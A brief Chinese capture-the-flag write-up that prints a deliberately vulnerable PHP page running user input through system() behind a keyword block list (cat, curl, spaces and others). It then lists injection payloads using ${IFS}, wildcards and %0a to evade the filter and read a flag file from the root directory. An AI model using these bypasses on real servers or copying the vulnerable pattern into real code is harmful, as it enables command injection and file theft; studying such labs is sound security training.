1. 代码审计

      1. <?php
      2. if(isset($_GET['c'])){
      3. $c=$_GET['c'];
      4. if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c))
      5. //增加了<>的过滤
      6. {
      7. system($c." >/dev/null 2>&1");
      8. }
      9. }else{
      10. highlight_file(__FILE__);
      11. }
    2. 增加了< >的过滤,但是没有对$过滤,可以利用${IFS}进行绕过空格,发现是假的flag,那么应该在根目录了

      ?c=nl${IFS}fla?.php||
      ?c=nl${IFS}fla\g.php%0a
      

      image-20210705165156050.png

    3. 查看下根目录

      ?c=ls${IFS}/||
      

      image-20210705165327167.png

    4. 查看flag

      ?c=nl${IFS}/fla?||